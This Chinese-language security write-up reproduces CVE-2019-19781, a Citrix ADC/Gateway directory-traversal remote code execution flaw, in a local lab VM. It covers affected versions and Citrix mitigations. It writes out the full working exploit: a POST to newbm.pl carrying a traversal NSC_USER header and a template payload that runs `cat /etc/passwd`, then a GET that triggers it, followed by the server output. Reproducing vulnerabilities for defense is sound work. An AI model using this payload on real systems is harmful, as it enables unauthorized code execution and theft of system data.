原标题:CVE-2019-19781: Citrix ADC远程代码执行漏洞本地复现

No.1声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.2漏洞产生原因

Citrix ADC(NetScalers)中的目录穿越错误,这个错误会调用perl脚本,perl脚本用于将XML格式的文件附加到受害计算机,因此产生远程执行代码。

注:Citrix NetScaler ADC应用交付控制器和Citrix NetScaler网关

No.3漏洞利用过程

1.pl文件未对NSC_USER参数传入进行过滤

2.触发目录穿越

3.在模板目录的XML文件写入命令

4.模板引擎分析后执行命令

No.4漏洞影响范围

Citrix NetScaler ADC and NetScaler Gateway version 10.5

Citrix ADC and NetScaler Gateway version 11.1 , 12.0 , 12.1

Citrix ADC and Citrix Gateway version 13.0

No.5漏洞复现

下载 Citrix Gateway VPX for ESX Build 13.0-47.22

https://www.citrix.com/downloads/citrix-gateway/

安装NSVPX-ESX

运行.ovf文件后,会导入.vmdk文件并启动虚拟机

桥接模式 配置

IP地址:192.168.2.170

子网掩码:255.255.255.0

网关地址:192.169.2.255

然后选择4确认

访问 http://192.168.2.170

默认用户和密码登录:nsroot/nsroot

利用目录穿越写入命令语句到newbm.pl文件中

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1

Host: 192.168.2.170

User-Agent: 1

Connection: close

NSC_USER: ../../../netscaler/portal/templates/rab3it

NSC_NONCE: nsroot

Content-Length: 97

url=http://example.com&title=rab3it&desc=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]

HTTP/1.1 200 OK

Date: Thu, 16 Jan 2020 06:25:07 GMT

Server: Apache

X-Frame-Options: SAMEORIGIN

Last-Modified: Thu, 16 Jan 2020 06:25:07 GMT

ETag: W/"87-59c4286dda300"

Accept-Ranges: bytes

Content-Length: 135

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

GET方式访问写入的xml文件

GET /vpn/../vpns/portal/rab3it.xml HTTP/1.1

Host: 192.168.2.170

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

NSC_USER: nsroot

NSC_NONCE: nsroot

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

HTTP/1.1 200 OK

Date: Thu, 16 Jan 2020 06:39:17 GMT

Server: Apache

X-Frame-Options: SAMEORIGIN

Pragma: no-cache

Cache-control: no-cache

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

Expires: Thu, 16 Jan 2020 06:39:17 GMT

Content-Length: 2255

# $FreeBSD: release/8.4.0/etc/master.passwd 243948 2012-12-06 11:54:25Z rwatson $

#

root:*:0:0:Charlie &:/root:/usr/bin/bash

nsroot:*:0:0:Netscaler Root:/root:/netscaler/nssh

daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin

operator:*:2:5:System &:/:/usr/sbin/nologin

bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin

tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin

kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin

games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin

news:*:8:8:News Subsystem:/:/usr/sbin/nologin

man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin

sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin

smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin

mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin

bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin

proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin

_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin

_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin

uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/sbin/nologin

pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin

auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin

www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin

hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin

nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin

nsmonitor:*:65532:65534:Netscaler Monitoring user:/var/nstmp/monitors:/usr/sbin/nologin

undef error - Attempt to bless into a reference at /usr/local/lib/perl5/site_perl/5.14.2/mach/Template/Document.pm line 92.

No.6修复方案

Citrix ADC 名称为NetScaler ADC,同时受影响为Citrix Gateway,产品名称为 Netscaler Gateway

临时解决方案:

实施Citrix支持文章https://support.citrix.com/article/CTX267027中描述的缓解措施

将已识别的恶意XML文件复制到外部设备,并从以下目录中删除原始恶意文件

/ netscaler / portal / templates

/ var / tmp / netscaler / portal / templates

验证所有创建为以“ nobody”用户身份运行的cron作业。默认情况下,不应以“ nobody”用户身份运行计划的cron作业。

清除或重置经过身份验证的会话cookie。

重新启动Citrix服务器以断开与恶意行为者的任何活动连接。

重置Citrix服务器上所有本地帐户的密码。

对XML文件和其他司法鉴定进行分析,以识别进一步的缓解措施。